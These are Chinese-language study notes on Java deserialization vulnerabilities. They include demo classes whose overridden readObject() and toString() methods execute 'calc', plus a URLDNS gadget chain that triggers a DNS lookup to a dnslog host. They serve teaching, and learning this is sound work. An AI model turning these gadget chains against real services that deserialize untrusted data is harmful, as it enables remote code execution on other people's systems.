时间轴:
序列化与反序列化图解:
演示案例:
Java-原生使用-序列化&反序列化
Java-安全问题-重写方法&触发方法
Java-安全问题-可控其他类重写方法
Java-原生使用-序列化&反序列化
1.为什么进行序列化和反序列化?
个人理解:
因为如果转载使用ctrl+a和ctrl+v的话,那么会导致空格复制不过去什么的
使用序列化可以像是打包好了以后发过去。(源码打包好发过去为序列化,将源码的包解开发过来是反序列化)
打包->封装->文件(序列化)
文件->解包(反序列化)
案例演示:
1.创建SeriaTestDemo。
删除老几样(34天有说)
UserDemo:
package com.example.seriatestdemo;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class UserDemo implements Serializable {public String name="xiaodi";public String gender="man";public Integer age=30;public UserDemo(String name,String gender,Integer age){this.name=name;this.gender=gender;this.age = age;System.out.println(name);System.out.println(gender);}public String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return "User{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}// private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// //指向正确readObject
// ois.defaultReadObject();
// Runtime.getRuntime().exec("calc");
// }}
其中toString()为UserDemo的内置
序列化操作文件(SerializableDemo):
package com.example.seriatestdemo;import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;public class SerializableDemo {public static void main(String[] args) throws IOException {//创建一个对象 引用UserDemoUserDemo u = new UserDemo("xdsec","gay1",30);//调用方法进行序列化SerializableTest(u);//ser.txt 就是对象u 序列化的字节流数据}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));oos.writeObject(obj);}}
运行逻辑:
下面写好了一个SerializableTest(obj),他的obj为u,u定义在了上面,UserDemo()写在了第一个文件中
以下为输出的字节流
反序列化操作文件(UnserializableDemo):
package com.example.seriatestdemo;import java.io.*;public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传输ser.txt 解析还原反序列化Object obj =UnserializableTest("ser.txt");//对obj对象进行输出 默认调用原始对象的toString方法System.out.println(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}
}
运行结果:
转换前的数据
转换后的数据
安全问题:
(1) 入口类的 readObject 直接调用危险方法
将readObject()直接调用导致冲突
UserDemo中:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}
与此处相互冲突:
运行时会报错:
理解:
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
readObiect()——>jdk 1.8
反序列化
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
重写readObject方法,执行计算器
相当于执行序列化对象里面的readObject方法 而不是本身
可以使用断点来调试:
选择第二个:
点击步入:
跑入到Runtime.java
应该跑入到这里:
可以使用010editor进行分析ser.txt:
指向正向的readObject(),若不指向下面没数据为空
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");
(2) 入口参数中包含可控类,该类有危险方法,readObject 时调用
原理:
如果换一个类 里面自带有readObject 会不会触发呢?
//正常代码中 创建对象HashMap
//用到原生态readObject方法去反序列化数据
//readObject 在ObjectInputSteam 本来在这里
//HashMap也有readObject方法
//反序列化readObject方法调用 HashMap里面的readObject
//执行链:
//序列化对象hash 来源于自带类HashMap
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()
//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞
UrLDns:
package com.example.seriatestdemo;import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;public class UrLDns implements Serializable {public static void main(String[] args) throws IOException, ClassNotFoundException {//正常代码中 创建对象HashMap//用到原生态readObject方法去反序列化数据//readObject 在ObjectInputSteam 本来在这里//HashMap也有readObject方法//反序列化readObject方法调用 HashMap里面的readObject//执行链://序列化对象hash 来源于自带类HashMap
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞HashMap<URL,Integer> hash = new HashMap<>();URL u=new URL("http://dmo1e2.dnslog.cn");hash.put(u,1);SerializableTest(hash);UnserializableTest("dns.txt");}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));oos.writeObject(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}}
使用正常方法会产生dns.txt
可以使用010editor进行查看:
正常情况下访问dns:
http://dnslog.cn/
能访问上的原因
(https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
)
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用
(4) 构造函数/静态代码块等类加载时隐式执行
UnserializableDemo:
public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传输ser.txt 解析还原反序列化Object obj =UnserializableTest("ser.txt");//对obj对象进行输出 默认调用原始对象的toString方法System.out.println(obj);}
UserDemo:
@Overridepublic String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return "UserDemo{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}
因为有toString()进行string方法的改变,在unserializableDemo中System.out.println(obj);//对obj对象进行输出 默认调用原始对象的toString方法
反序列化总结: